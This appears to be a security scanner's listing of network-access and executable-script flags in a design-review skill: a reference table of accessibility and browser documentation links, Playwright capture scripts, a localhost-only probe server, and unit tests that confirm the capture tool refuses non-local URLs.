    "title": "OpenDesigner owner review of the website (2026-10-15)",       "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",       "status": "opened",
  • Network accessline 1749
    "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",

skills/opendesigner-review/references/cases.md

  • Network accessline 785
    | Id | Source | Status | |---|---|---| | S-R5-001 | [Vision language models are blind (BlindTest)](https://arxiv.org/abs/2407.06581) | opened: 4 models averaged 58% on tiny geometry tasks; best 78% |
  • Network accessline 786
    |---|---|---| | S-R5-001 | [Vision language models are blind (BlindTest)](https://arxiv.org/abs/2407.06581) | opened: 4 models averaged 58% on tiny geometry tasks; best 78% | | S-R5-002 | [Anthropic vision docs: image limits, cost, downscal
  • Network accessline 787
    | S-R5-001 | [Vision language models are blind (BlindTest)](https://arxiv.org/abs/2407.06581) | opened: 4 models averaged 58% on tiny geometry tasks; best 78% |
  • Network accessline 788
    | S-R5-002 | [Anthropic vision docs: image limits, cost, downscaling](https://platform.claude.com/docs/en/build-with-claude/vision) | opened: coordinates and counts are approximate; image limits and cost |
  • Network accessline 789
    | S-R5-003 | [Anthropic vision docs: coordinates and resizing](https://platform.claude.com/docs/en/build-with-claude/vision-coordinates) | opened: spot-check results; crop fine targets |
  • Network accessline 790
    | S-R5-004 | [ScreenSpot-Pro: GUI grounding at high resolution](https://arxiv.org/abs/2504.07981) | opened: best existing model 18.9% on ScreenSpot-Pro |
  • Network accessline 791
    | S-R5-005 | [Design2Code: how far are we from automating front-end engineering](https://arxiv.org/html/2403.03163v3) | opened: missing elements and layout are the weakest parts |
  • Network accessline 792
    | S-R5-006 | [ColorBench: can VLMs see and understand the colorful world](https://arxiv.org/abs/2504.10514) | opened |
  • Network accessline 793
    | S-R5-007 | [How I gave my AI coding agent eyes: a screenshot feedback loop](https://dev.to/yureki_lab/how-i-gave-my-ai-coding-agent-eyes-a-screenshot-feedback-loop-for-ui-work-jce) | anecdotal: single author |
  • Network accessline 794
    | S-R5-008 | [LLM evaluators recognize and favor their own generations](https://arxiv.org/abs/2404.13076) | opened |
  • Network accessline 795
    | S-R5-009 | [Large language models cannot self-correct reasoning yet](https://arxiv.org/abs/2310.01798) | opened |
  • Network accessline 796
    | S-R5-010 | [Anthropic engineering: harness design for long-running apps](https://anthropic.com/engineering/harness-design-long-running-apps) | opened: separate evaluator with Playwright, tuned with few-shot examples |
  • Network accessline 797
    | S-R5-011 | [Anthropic engineering: effective harnesses for long-running agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) | opened: agents marked features done without end-to-end checks |
  • Network accessline 798
    | S-R5-012 | [Claude Code best practices](https://code.claude.com/docs/en/best-practices) | opened: give a check the agent can run; show evidence; fresh-context verifier |
  • Network accessline 799
    | S-R5-013 | [ArtifactsBench: bridging the visual-interactive gap in code generation](https://arxiv.org/abs/2507.04952) | opened: checklist rubric plus temporal screenshots |
  • Network accessline 800
    | S-R5-014 | [claude-code issue 70553: UI fix claimed but unchanged](https://github.com/anthropics/claude-code/issues/70553) | anecdotal: user report |
  • Network accessline 801
    | S-R5-015 | [Playwright actionability and visibility](https://playwright.dev/docs/actionability) | opened: visible means a non-empty box and no visibility:hidden, even at opacity 0 |
  • Network accessline 802
    | S-R5-016 | [Playwright page assertions: toHaveScreenshot options](https://playwright.dev/docs/api/class-pageassertions) | opened: fullPage defaults to false |
  • Network accessline 803
    | S-R5-017 | [I let a coding agent render Android UI without an emulator](https://dev.to/hram/i-let-a-coding-agent-render-android-ui-without-an-emulator-a-screenshot-wasnt-enough-25o) | anecdotal: bounds caught overlaps the PNG hid |
  • Network accessline 804
    | S-R5-018 | [Why AI coding assistants write clean-looking CSS that breaks in production](https://dev.to/devpreflight/why-ai-coding-assistants-write-clean-looking-css-that-breaks-in-production-and-how-to-fix-it-4mk1) | anecdotal: five patte
  • Network accessline 805
    | S-R5-019 | [Chrome DevTools MCP tool reference](https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/tool-reference.md) | opened: emulate covers color scheme, viewport, UA, throttling; not reduced motion, forced colors or 
  • Network accessline 806
    | S-R5-020 | [Playwright MCP: accessibility snapshots](https://playwright.dev/mcp/snapshots) | opened: combine with screenshots where visual context matters |
  • Network accessline 807
    | S-R5-021 | [cdmx-in/ui-review skill](https://github.com/cdmx-in/ui-review) | opened: JS measures, vision judges |
  • Network accessline 808
    | S-R5-022 | [Playwright visual comparisons](https://playwright.dev/docs/test-snapshots) | opened: baselines differ by OS and browser |
  • Network accessline 809
    | S-R5-023 | [Chromatic diff threshold](https://www.chromatic.com/docs/threshold/) | opened |
  • Network accessline 810
    | S-R5-024 | [Percy: stabilize screenshots, animations](https://www.browserstack.com/docs/percy/stabilize-screenshots/animations) | opened: freezes GIFs and CSS animation, not JS or SVG animation |
  • Network accessline 811
    | S-R5-025 | [pixelmatch](https://github.com/mapbox/pixelmatch) | opened: anti-aliased pixels ignored by default |
  • Network accessline 812
    | S-R5-026 | [Claude Code code-review plugin README](https://github.com/anthropics/claude-code/blob/main/plugins/code-review/README.md) | opened: confidence scoring 0-100, report 80+ |
  • Network accessline 813
    | S-R5-027 | [Chain-of-Verification reduces hallucination](https://arxiv.org/abs/2309.11495) | opened |
  • Network accessline 814
    | S-R5-028 | [MLLM-as-a-judge](https://arxiv.org/abs/2402.04788) | opened: good at pairwise, weaker at scoring |
  • Network accessline 815
    | S-R5-029 | [21st.dev design QA checklist](https://21st.dev/blog/design-qa-checklist) | opened: tool vendor |
  • Network accessline 816
    | S-R5-030 | [Uiprobe: Figma design QA checklist for frontend teams](https://www.uiprobe.io/learn/figma-design-qa-checklist-for-frontend-teams) | opened: tool vendor |
  • Network accessline 817
    | S-R5-031 | [OverlayQA: what is design QA](https://overlayqa.com/blog/what-is-design-qa/) | opened: tool vendor |
  • Network accessline 818
    | S-R5-032 | [Vercel web interface guidelines](https://github.com/vercel-labs/web-interface-guidelines/blob/main/command.md) | opened |
  • Network accessline 819
    | S-R5-033 | [NN/g: designing empty states](https://www.nngroup.com/articles/empty-state-interface-design/) | opened |
  • Network accessline 820
    | S-R5-034 | [NN/g: skeleton screens](https://www.nngroup.com/articles/skeleton-screens/) | opened |
  • Network accessline 821
    | S-R5-035 | [W3C: text size in translation](https://www.w3.org/International/articles/article-text-size) | opened: expansion table by source length |
  • Network accessline 822
    | S-R5-036 | [MDN: CSS logical properties and values](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_logical_properties_and_values) | opened |
  • Network accessline 823
    | S-R5-037 | [Deque: automated testing finds 57% of accessibility issues](https://www.deque.com/blog/automated-testing-study-identifies-57-percent-of-digital-accessibility-issues/) | opened: by issue volume; vendor |
  • Network accessline 824
    | S-R5-038 | [UK GDS accessibility tool audit](https://alphagov.github.io/accessibility-tool-audit/) | opened: 142 planted barriers, 13 tools; best 40%, axe-core 29%; audit from 2017, updated 2018 |
  • Network accessline 825
    | S-R5-039 | [axe-core rule descriptions](https://github.com/dequelabs/axe-core/blob/develop/doc/rule-descriptions.md) | opened |
  • Network accessline 826
    | S-R5-040 | [WCAG 2.2 Understanding 1.4.4 Resize Text](https://www.w3.org/WAI/WCAG22/Understanding/resize-text.html) | opened |
  • Network accessline 827
    | S-R5-041 | [WCAG 2.2 Understanding 1.4.10 Reflow](https://www.w3.org/WAI/WCAG22/Understanding/reflow.html) | opened |
  • Network accessline 828
    | S-R5-042 | [WCAG 2.2 Understanding 1.4.12 Text Spacing](https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html) | opened |
  • Network accessline 829
    | S-R5-043 | [WCAG 2.2 Understanding 1.4.11 Non-text Contrast](https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html) | opened |
  • Network accessline 830
    | S-R5-044 | [WCAG 2.2 Understanding 2.4.7 Focus Visible](https://www.w3.org/WAI/WCAG22/Understanding/focus-visible.html) | opened |
  • Network accessline 831
    | S-R5-045 | [WCAG 2.2 Understanding 2.4.11 Focus Not Obscured](https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html) | opened |
  • Network accessline 832
    | S-R5-046 | [WCAG 2.2 Understanding 2.5.8 Target Size (Minimum)](https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html) | opened |
  • Network accessline 833
    | S-R5-047 | [WCAG 2.2 Understanding 2.1.2 No Keyboard Trap](https://www.w3.org/WAI/WCAG22/Understanding/no-keyboard-trap.html) | opened |
  • Network accessline 834
    | S-R5-048 | [MDN: forced-colors media feature](https://developer.mozilla.org/en-US/docs/Web/CSS/@media/forced-colors) | opened: shadows and gradient backgrounds (non-url images) are dropped |
  • Network accessline 835
    | S-R5-049 | [MDN: hover media feature](https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover) | opened |
  • Network accessline 836
    | S-R5-050 | [MDN: env() and safe-area insets](https://developer.mozilla.org/en-US/docs/Web/CSS/env) | opened |
  • Network accessline 837
    | S-R5-051 | [MDN: VirtualKeyboard API](https://developer.mozilla.org/en-US/docs/Web/API/VirtualKeyboard_API) | opened: experimental |
  • Network accessline 838
    | S-R5-052 | [web.dev: the large, small and dynamic viewport units](https://web.dev/blog/viewport-units) | opened |
  • Network accessline 839
    | S-R5-053 | [MDN: scrollbar-gutter](https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-gutter) | opened |
  • Network accessline 840
    | S-R5-054 | [MDN: FontFaceSet.check()](https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/check) | opened: true when no font matches |
  • Network accessline 841
    | S-R5-055 | [Playwright emulation: devices, color scheme, media](https://playwright.dev/docs/emulation) | opened: isMobile reads the meta viewport tag |
  • Network accessline 842
    | S-R5-056 | [WCAG 2.2 Understanding 1.4.8 Visual Presentation](https://www.w3.org/WAI/WCAG22/Understanding/visual-presentation.html) | opened: at most 80 characters (AAA) |
  • Network accessline 843
    | S-R5-057 | [MDN: text-wrap](https://developer.mozilla.org/en-US/docs/Web/CSS/text-wrap) | opened |
  • Network accessline 844
    | S-R5-058 | [MDN: Document.getAnimations()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getAnimations) | opened |
  • Network accessline 845
    | S-R5-059 | [MDN: Animation.currentTime](https://developer.mozilla.org/en-US/docs/Web/API/Animation/currentTime) | opened |
  • Network accessline 846
    | S-R5-060 | [Chrome DevTools Protocol: browser_protocol.json (Animation, CSS, Emulation domains)](https://github.com/ChromeDevTools/devtools-protocol/blob/master/json/browser_protocol.json) | opened |
  • Network accessline 847
    | S-R5-061 | [Chrome DevTools: animations panel](https://developer.chrome.com/docs/devtools/css/animations) | opened: does not show requestAnimationFrame motion |
  • Network accessline 848
    | S-R5-062 | [Chrome: scroll-driven animations](https://developer.chrome.com/docs/css-ui/scroll-driven-animations) | opened |
  • Network accessline 849
    | S-R5-063 | [GSAP: globalTimeline](https://gsap.com/docs/v3/GSAP/gsap.globalTimeline/) | opened |
  • Network accessline 850
    | S-R5-064 | [lottie-web README](https://raw.githubusercontent.com/airbnb/lottie-web/master/README.md) | opened |
  • Network accessline 851
    | S-R5-065 | [Motion: animate()](https://motion.dev/docs/animate) | opened |
  • Network accessline 852
    | S-R5-066 | [MDN: SVGSVGElement.setCurrentTime()](https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement/setCurrentTime) | opened |
  • Network accessline 853
    | S-R5-067 | [Playwright API parameters (screenshot animations, wait states)](https://raw.githubusercontent.com/microsoft/playwright/main/docs/src/api/params.md) | opened: animations disabled: finite end, infinite reset; networkidle discour
  • Network accessline 854
    | S-R5-068 | [Playwright videos](https://playwright.dev/docs/videos) | opened |
  • Network accessline 855
    | S-R5-069 | [Material Web motion tokens](https://github.com/material-components/material-web/blob/main/tokens/versions/v0_192/_md-sys-motion.scss) | opened |
  • Network accessline 856
    | S-R5-070 | [NN/g: response times and animation duration](https://www.nngroup.com/articles/animation-duration/) | opened |
  • Network accessline 857
    | S-R5-071 | [Apple HIG: motion](https://developer.apple.com/design/human-interface-guidelines/motion) | opened: gives no numeric durations |
  • Network accessline 858
    | S-R5-072 | [web.dev: how to create high-performance CSS animations](https://web.dev/articles/animations-guide) | opened |
  • Network accessline 859
    | S-R5-073 | [MDN: PerformanceLongAnimationFrameTiming](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongAnimationFrameTiming) | opened |
  • Network accessline 860
    | S-R5-074 | [web.dev: cumulative layout shift](https://web.dev/articles/cls) | opened: 0.1 or less is good |
  • Network accessline 861
    | S-R5-075 | [WCAG 2.2 Understanding 2.2.2 Pause, Stop, Hide](https://www.w3.org/WAI/WCAG22/Understanding/pause-stop-hide.html) | opened |
  • Network accessline 862
    | S-R5-076 | [WCAG 2.2 Understanding 2.3.1 Three Flashes](https://www.w3.org/WAI/WCAG22/Understanding/three-flashes-or-below-threshold.html) | opened |
  • Network accessline 863
    | S-R5-077 | [WCAG 2.2 Understanding 2.3.3 Animation from Interactions](https://www.w3.org/WAI/WCAG22/Understanding/animation-from-interactions.html) | opened: Level AAA |
  • Network accessline 864
    | S-R5-078 | [W3C APG: carousel pattern](https://www.w3.org/WAI/ARIA/apg/patterns/carousel/) | opened |
  • Network accessline 865
    | S-R5-079 | [WCAG 2.2 Understanding 2.2.1 Timing Adjustable](https://www.w3.org/WAI/WCAG22/Understanding/timing-adjustable.html) | opened |
  • Network accessline 866
    | S-R5-080 | [Chart.js animations](https://www.chartjs.org/docs/latest/configuration/animations.html) | opened |
  • Network accessline 867
    | S-R5-081 | [Playwright screenshotter source: how fullPage is captured](https://raw.githubusercontent.com/microsoft/playwright/main/packages/playwright-core/src/server/screenshotter.ts) | opened |
  • Network accessline 868
    | S-R5-082 | [Puppeteer issue 1559: 100vh and full-page screenshots](https://github.com/puppeteer/puppeteer/issues/1559) | opened |
  • Network accessline 869
    | S-R5-083 | [Playwright issue 42717: WebP above 16383 px returns an empty file](https://github.com/microsoft/playwright/issues/42717) | opened |
  • Network accessline 870
    | S-R5-084 | [Playwright issue 22755: pointer stays after hover](https://github.com/microsoft/playwright/issues/22755) | opened |
  • Network accessline 871
    | S-R5-085 | [MDN: :focus-visible](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus-visible) | opened |
  • Network accessline 872
    | S-R5-086 | [MDN: meta viewport](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/name/viewport) | opened |
  • Network accessline 873
    | S-R5-087 | [MDN: FontFaceSet.ready](https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/ready) | opened: resolves once the document has finished loading fonts; the CSS Font Loading draft notes further fonts may load afterwards |
  • Network accessline 874
    | S-R5-088 | [Playwright MCP README](https://raw.githubusercontent.com/microsoft/playwright-mcp/main/README.md) | opened |
  • Network accessline 875
    | S-R5-089 | [Claude Code: use Chrome](https://code.claude.com/docs/en/chrome) | opened: real Chrome profile; JS alert dialogs block it |
  • Network accessline 876
    | S-R5-090 | [CSS-Tricks: 16px or larger text prevents iOS form zoom](https://css-tricks.com/16px-or-larger-text-prevents-ios-form-zoom/) | opened: published 4 May 2021: 16 px or larger focuses normally, 15 px or less zooms; current iOS beh
  • Network accessline 877
    | S-R5-091 | Tested in this lane: Chrome 153, Playwright 1.58, macOS, 2026-09-29 (`skills/opendesigner-review/scripts/test_probe_live.py`) | tested: the probe run on fixtures/broken.html, plus eight scripts for capture behaviour | | S-R5-09
  • Network accessline 878
    | S-R5-092 | [WCAG 2.2 Understanding 2.1.1 Keyboard](https://www.w3.org/WAI/WCAG22/Understanding/keyboard.html) | opened: opened in the verification pass, 2026-10-04; links the rule that scrollable content must be reachable by keyboard |
  • Network accessline 879
    | S-R5-093 | [Apple HIG: accessibility (control sizes table, read from its page data)](https://developer.apple.com/design/human-interface-guidelines/accessibility) | opened: iOS and iPadOS: default control size 44 x 44 pt, minimum 28 x 28 p
  • Network accessline 880
    | S-R5-094 | [Android: make apps more accessible (touch target size)](https://developer.android.com/guide/topics/ui/accessibility/apps) | opened: recommends touch targets of at least 48 x 48 dp; opened 2026-10-04 |
  • Network accessline 881
    | S-R5-095 | [W3C APG: modal dialog pattern](https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/) | opened: Tab stays in the dialog, Escape closes it, focus returns to the trigger; opened 2026-10-04 |
  • Network accessline 882
    | S-R5-096 | [WCAG 2.2 Understanding 1.4.3 Contrast (Minimum)](https://www.w3.org/WAI/WCAG22/Understanding/contrast-minimum.html) | opened: 4.5:1 and 3:1; values are not rounded; opened 2026-10-04 |
  • Network accessline 883
    | S-R5-097 | [Material Design: bidirectionality](https://m2.material.io/design/usability/bidirectionality.html) | snippet: page would not load; read only as a search summary: directional icons mirror, media controls do not |
  • Network accessline 884
    | S-R5-098 | [MDN: font-weight (matching rule)](https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight) | opened: above 500, the browser looks at heavier weights first, so 600 uses a real 700 face when one is loaded |
  • Network accessline 885
    | S-R5-099 | [Playwright API: page.emulateMedia](https://playwright.dev/docs/api/class-page#page-emulate-media) | opened: media, colorScheme, reducedMotion, forcedColors, contrast (contrast needs Playwright 1.51 or later) |
  • Network accessline 886
    | S-R5-100 | [CSS Font Loading Module (W3C draft)](https://drafts.csswg.org/css-font-loading/) | opened: further fonts may load after document.fonts.ready fulfils |
  • Network accessline 887
    | S-R5-101 | [OpenDesigner demo trial 1, owner review (2026-10-21)](https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md) | opened: row 25: a run that passed every check was judged an admin template |
  • Network accessline 888
    | S-R5-102 | [OpenDesigner owner review of nested corners (2026-10-21)](https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md) | opened: row 27: stages, bezels and frames whose corners did not nest |
  • Network accessline 889
    | S-R5-103 | [OpenDesigner owner review of the website (2026-10-15)](https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md) | opened: row 10: three calls to action in one row were "very bad UX"; became pref

skills/opendesigner-review/scripts/capture.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 8
    capture.py --url http://localhost:3000 [--routes /,/settings] [--viewports 320,390,768,1024,1440] [--themes light,dark]
  • Network accessline 320
    def main():     ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)     ap.add_argument("--url", required=True, help="base URL of the running app, for example http://localhost:3000")
  • Network accessline 321
    ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)     ap.add_argument("--url", required=True, help="base URL of the running app, for example http://localhost:3000")     ap.add_argument("
  • Network accessline 322
    ap.add_argument("--url", required=True, help="base URL of the running app, for example http://localhost:3000")

skills/opendesigner-review/scripts/fixtures/broken.html

  • Network accessline 46
    <p class="prose">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo co
  • Network accessline 47
    <img src="missing-file.png" width="80" height="40">   <img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='10'%3E%3C/svg%3E" width="80" height="40" alt="">   <img src="data:image/svg+xml,%3Csvg xmlns='ht
  • Network accessline 48
    <img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='10'%3E%3C/svg%3E" width="80" height="40" alt="">
  • Network accessline 49
    <img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='300' height='150'%3E%3Crect width='300' height='150' fill='%23ccd'/%3E%3C/svg%3E" width="150" height="75">

skills/opendesigner-review/scripts/probe.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-review/scripts/review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 435
    rows = sorted(off.items(), key=lambda kv: -kv[1]["n"])[:5]                 def near(hx):                     nc = nearest_color(hx, pal)
  • Network accessline 436
    def near(hx):                     nc = nearest_color(hx, pal)                     return f" (closest token --{nc[1]})" if nc and nc[2] < 40 else ""
  • Network accessline 437
    nc = nearest_color(hx, pal)
  • Network accessline 438
    return f" (closest token --{nc[1]})" if nc and nc[2] < 40 else ""
  • Network accessline 812
    return ("(async()=>{const B='" + base + "';if(!window.__od)await new Promise((ok,no)=>{const s=document.createElement('script');s.src=B+'probe.js';"             "s.onload=ok;s.onerror=()=>no('blocked: the page refuses scripts from 127.0.0.1
  • Network accessline 813
    "s.onload=ok;s.onerror=()=>no('blocked: the page refuses scripts from 127.0.0.1; paste probe.js instead');document.documentElement.appendChild(s)});"             "window.__odSave=(n,d)=>fetch(B+'save?name='+encodeURIComponent(n),{method:'PO
  • Network accessline 814
    "window.__odSave=(n,d)=>fetch(B+'save?name='+encodeURIComponent(n),{method:'POST',body:JSON.stringify(d)}).then(r=>r.text());"
  • Network accessline 881
    [Credential-related source omitted]
  • Network accessline 882
    srv = ThreadingHTTPServer(("127.0.0.1", args.port), make_handler(rd, token))     base = f"http://127.0.0.1:{srv.server_address[1]}/t/{token}/"     print(f"serving probe.js and saving to {rd} on 127.0.0.1 only, for {args.minutes} minutes (Ct
  • Network accessline 883
    base = f"http://127.0.0.1:{srv.server_address[1]}/t/{token}/"

skills/opendesigner-review/scripts/test_probe_live.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 47
    cls.port = cls.httpd.server_address[1]         threading.Thread(target=cls.httpd.serve_forever, daemon=True).start()         cls.url = f"http://localhost:{cls.port}/broken.html"
  • Network accessline 49
    cls.url = f"http://localhost:{cls.port}/broken.html"
  • Network accessline 84
    pg = _browser.new_page(viewport={"width": 800, "height": 600})         self.addCleanup(pg.close)         pg.goto(f"http://localhost:{self.port}/labels.html")
  • Network accessline 85
    self.addCleanup(pg.close)         pg.goto(f"http://localhost:{self.port}/labels.html")         pg.wait_for_timeout(300)
  • Network accessline 86
    pg.goto(f"http://localhost:{self.port}/labels.html")
  • Network accessline 97
    pg = _browser.new_page(viewport={"width": 1280, "height": 800})         self.addCleanup(pg.close)         pg.goto(f"http://localhost:{self.port}/actions.html")
  • Network accessline 98
    self.addCleanup(pg.close)         pg.goto(f"http://localhost:{self.port}/actions.html")         pg.wait_for_timeout(300)
  • Network accessline 99
    pg.goto(f"http://localhost:{self.port}/actions.html")
  • Network accessline 183
    self.addCleanup(c.close)         pg = c.new_page()         base = f"http://localhost:{self.port}/srcset-test/"
  • Network accessline 184
    pg = c.new_page()         base = f"http://localhost:{self.port}/srcset-test/"         svg = b'<svg xmlns="http://www.w3.org/2000/svg" width="800" height="400"><rect width="800" height="400" fill="#888"/></svg>'
  • Network accessline 185
    base = f"http://localhost:{self.port}/srcset-test/"
  • Network accessline 186
    svg = b'<svg xmlns="http://www.w3.org/2000/svg" width="800" height="400"><rect width="800" height="400" fill="#888"/></svg>'
  • Network accessline 200
    def test_capture_py_runs_the_whole_plan_and_check_reads_it(self):         with tempfile.TemporaryDirectory() as d:             args = [sys.executable, str(HERE / "capture.py"), "--url", f"http://localhost:{self.port}", "--routes", "/broken.
  • Network accessline 201
    with tempfile.TemporaryDirectory() as d:             args = [sys.executable, str(HERE / "capture.py"), "--url", f"http://localhost:{self.port}", "--routes", "/broken.html",                     "--viewports", "390,1280x800", "--themes", "lig
  • Network accessline 202
    args = [sys.executable, str(HERE / "capture.py"), "--url", f"http://localhost:{self.port}", "--routes", "/broken.html",
  • Network accessline 215
    cases = {f["case"] for f in json.loads(r2.stdout)}             self.assertTrue({"CV-05", "IN-02", "MS-04", "EN-06"} <= cases, cases)             for remote in ("https://example.com", "http://192.168.1.10:3000", "http://staging.test"):
  • Network accessline 216
    self.assertTrue({"CV-05", "IN-02", "MS-04", "EN-06"} <= cases, cases)             for remote in ("https://example.com", "http://192.168.1.10:3000", "http://staging.test"):                 refused = subprocess.run([sys.executable, str(HERE /
  • Network accessline 217
    for remote in ("https://example.com", "http://192.168.1.10:3000", "http://staging.test"):
  • Network accessline 219
    self.assertNotEqual(refused.returncode, 0, remote)                 self.assertIn("not a local address", refused.stderr + refused.stdout)             sneaky = subprocess.run([sys.executable, str(HERE / "capture.py"), "--url", f"http://localh
  • Network accessline 220
    self.assertIn("not a local address", refused.stderr + refused.stdout)             sneaky = subprocess.run([sys.executable, str(HERE / "capture.py"), "--url", f"http://localhost:{self.port}", "--routes", "//example.com/", "--out", d],       
  • Network accessline 221
    sneaky = subprocess.run([sys.executable, str(HERE / "capture.py"), "--url", f"http://localhost:{self.port}", "--routes", "//example.com/", "--out", d],
  • Network accessline 251
    hits = []         pg.route("**/lazy.png", lambda route: (hits.append(1), route.fulfill(status=200, content_type="image/png", body=b"")))         pg.set_content('<body style="margin:0"><div style="height:9000px"></div><img loading="lazy" wid
  • Network accessline 252
    pg.route("**/lazy.png", lambda route: (hits.append(1), route.fulfill(status=200, content_type="image/png", body=b"")))         pg.set_content('<body style="margin:0"><div style="height:9000px"></div><img loading="lazy" width="50" height="50
  • Network accessline 253
    pg.set_content('<body style="margin:0"><div style="height:9000px"></div><img loading="lazy" width="50" height="50" src="http://example.invalid/lazy.png"></body>')

skills/opendesigner-review/scripts/test_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 55
    p = {"v": 1, "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800, "dpr": 1}, "media": {"colorScheme": "light", "reducedMotion": False, "hover": True, "pointer": "fine"},
  • Network accessline 187
    def test_sparse_probe_does_not_crash(self):         for probe in ({"v": 1}, {"v": 1, "url": "http://localhost/", "viewport": {"w": 320, "h": 600}}):
  • Network accessline 188
    for probe in ({"v": 1}, {"v": 1, "url": "http://localhost/", "viewport": {"w": 320, "h": 600}}):
  • Network accessline 219
    F = rv.Findings()         rv.check_probe(clean_probe(fonts={"familyState": {"Brand": "missing"}, "faces": []}, type={**clean_probe()["type"], "families": {"Brand": {"n": 9, "ex": ["p"], "chars": 400}}}), None, F)         rv.check_fonts({"ki
  • Network accessline 220
    rv.check_probe(clean_probe(fonts={"familyState": {"Brand": "missing"}, "faces": []}, type={**clean_probe()["type"], "families": {"Brand": {"n": 9, "ex": ["p"], "chars": 400}}}), None, F)         rv.check_fonts({"kind": "fonts", "url": "http
  • Network accessline 221
    rv.check_fonts({"kind": "fonts", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {},
  • Network accessline 369
    def run_walk(self, stops):         F = rv.Findings()         rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": stops}, F)
  • Network accessline 370
    F = rv.Findings()         rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": stops}, F)         return F.done()
  • Network accessline 371
    rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": stops}, F)
  • Network accessline 385
    F = rv.Findings()         idle = {"active": False, "sel": "body", "index": 0}         rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": [idle], "tabbable": 0}, F)
  • Network accessline 386
    idle = {"active": False, "sel": "body", "index": 0}         rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": [idle], "tabbable": 0}, F)         self.assertEqual([f["s
  • Network accessline 387
    rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": [idle], "tabbable": 0}, F)
  • Network accessline 388
    self.assertEqual([f["severity"] for f in F.done()], ["info"])         F = rv.Findings()         rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": [idle], "tabbable": 3
  • Network accessline 389
    F = rv.Findings()         rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": [idle], "tabbable": 3}, F)         self.assertEqual([f["severity"] for f in F.done()], ["er
  • Network accessline 390
    rv.check_focus({"kind": "focus", "url": "http://localhost:3000/", "viewport": {"w": 1280, "h": 800}, "media": {}, "stops": [idle], "tabbable": 3}, F)
  • Network accessline 414
    def test_console_errors_and_failed_requests(self):         F = rv.Findings()         rv.check_console({"kind": "console", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "messages": [
  • Network accessline 415
    F = rv.Findings()         rv.check_console({"kind": "console", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "messages": [             {"type": "pageerror", "text": "TypeError: x is undefined"}, {"type": "http",
  • Network accessline 416
    rv.check_console({"kind": "console", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "messages": [
  • Network accessline 417
    {"type": "pageerror", "text": "TypeError: x is undefined"}, {"type": "http", "text": "404 http://localhost/font.woff2"}, {"type": "warning", "text": "deprecated"}]}, F)
  • Network accessline 422
    def test_a_missing_favicon_is_not_the_apps_fault_and_one_failed_request_is_one_finding(self):         F = rv.Findings()         rv.check_console({"kind": "console", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, 
  • Network accessline 423
    F = rv.Findings()         rv.check_console({"kind": "console", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "messages": [             {"type": "http", "text": "404 http://localhost/favicon.ico"}, {"type": "erro
  • Network accessline 424
    rv.check_console({"kind": "console", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "messages": [
  • Network accessline 425
    {"type": "http", "text": "404 http://localhost/favicon.ico"}, {"type": "error", "text": "Failed to load resource: the server responded with a status of 404 (File not found)"},
  • Network accessline 426
